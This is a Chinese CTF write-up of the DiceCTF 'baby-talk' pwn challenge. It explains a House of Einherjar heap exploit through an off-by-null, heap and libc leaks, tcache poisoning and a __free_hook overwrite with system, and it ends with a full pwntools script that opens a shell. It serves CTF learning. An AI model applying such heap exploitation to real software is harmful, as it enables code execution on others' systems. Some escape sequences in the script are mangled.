dicectf baby-talk分析

IoT 2个月前 admin
36 0 0

本题的考点就是House of Einherjar          

dicectf baby-talk分析

 House of Einherjar 的流程如下图所示

dicectf baby-talk分析

dicectf baby-talk分析

要注意一下tok的功能,它既能实现off by null ,还能实现show的功能

dicectf baby-talk分析

其对应的就是c的strtok函数

dicectf baby-talk分析

另外的功能就是str能够malloc,del能够free

搞清楚了漏洞点,接下来就是写POC了,由于在利用过程中需要用到堆上的地址和libc上的地址,所以先需要泄露出libc和heap的地址。调试发现程序中chunk在free后不会清除,同时malloc时也不会置零,所以可以通过tok来进行地址泄露

其中heap通过tcache chunk来泄露,libc通过unsorted chunk来泄露

dicectf baby-talk分析

接下来为了构造House of Einherjar,我们要先想好chunk的构造方式,最终的目的当然是修改tcache的fd指针从而伪造fake tcache chunk来修改__free_hook从而实现getshell

chunk的布局大致应该为这样,唯一要注意的点是prev_size的设置和off by null无法在一次createstr的情况下设置,所以可以先进行off by null之后再free一次,之后再malloc一次从而设置prev_size    

dicectf baby-talk分析

此外就是为了发生unsorted bin的unlink操作,需要先把对应大小的tcache链表填满,否则chunk直接进入tcache中就没有我们期望的unlink操作了。

dicectf baby-talk分析

转换为代码就是这样

dicectf baby-talk分析    

调试发现成功unlink

dicectf baby-talk分析

dicectf baby-talk分析

我们再把这个tcache chunk malloc出来就可以更改tcache bin chunk的fd指针了

dicectf baby-talk分析

之后调用free即可执行

dicectf baby-talk分析

dicectf baby-talk分析    

dicectf baby-talk分析

完整POC如下

from pwn import *

                  

context(log_level=”debug”)

                  

io = process(“./chall”)

#io = remote(“20.55.48.101”, 1339)

#libc = ELF(“./libc-2.31.so”)

                  

def debug():

    gdb.attach(io)

    pause()

                  

sla = lambda delim, data: io.sendlineafter(delim, data)

createstr = lambda size, sstr: (sla(“>”, “1”), sla(“size?”, size), sla(“str?”, sstr))

tokstr = lambda strid, delim: (sla(“>”, “2”), sla(“idx?”,strid), sla(“delim?”, delim))        

delstr = lambda strid: (sla(“>”, “3”), sla(“idx?”, strid))

                  

# leak heap

                  

createstr(“30”, “a”)

createstr(“30”, “b”)

                  

delstr(“0”)

delstr(“1”)

                  

createstr(“30”, “”)

                  

tokstr(“0”, “a”)

                  

io.recv(1)

                  

heap = u64(io.recv(6).ljust(8, b”x00″)) & (0xfffffffffffff000)

                  

log.info(f”HEAP ADDR : {hex(heap)}”)

                  

# leak libc        

                  

createstr(“4096”, “d”) #1

createstr(“30”, “e”)   #2

createstr(“30”, “f”)   #3

                  

delstr(“1”)

                  

createstr(“4096”, “g”*8)  #1

                  

tokstr(“1”, “a”)

                  

io.recv(1)

io.recv(8)

                  

libc = u64(io.recv(6).ljust(8, b”x00″)) – 0x3ebc0a

free_hook = libc + 0x3ed8e8

system_addr = libc + 0x04f420

                  

log.info(f”LIBC ADDR : {hex(libc)}”)

                  

# House of Einherjar

                          

## off by null

                  

createstr(“30”, “i”)                                 #4

createstr(“24”, p64(heap + 0x1320) * 2 + p64(0x20))  #5    

createstr(“40″, b”B” * 40)                           #6

createstr(“248”, “i”)                                #7

                

tokstr(“6”, “x01”) 

delstr(“6”)

createstr(“40″, b”B” * 32 + p64(0x50))               #6

                  

createstr(“20”, “j”)  

                  

## fill up tcache for unsorted bin unlink

                  

for i in range(7):

    createstr(“248”, “h”)   # 4 – 10

                  

for i in range(7, 0, -1):

    delstr(str(8 + i))

                  

## fake tcachebin chunk in __free_hook        

                  

delstr(“4”)

delstr(“6”)

delstr(“7”)

                  

createstr(“328″, b”A” * 24 + p64(0x31) + p64(free_hook))    #4

createstr(“28”, “”)                                         #6

createstr(“28”, p64(system_addr))                           #7

                  

## trigger

                  

createstr(“20”, “/bin/shx00”)                              #9

delstr(“9”)

                  

io.interactive()

                  

          

参考

https://www.anquanke.com/post/id/251596

              

原文始发于微信公众号(3072):dicectf baby-talk分析

版权声明:admin 发表于 2024年2月21日 下午9:45。
转载请注明:dicectf baby-talk分析 | CTF导航

相关文章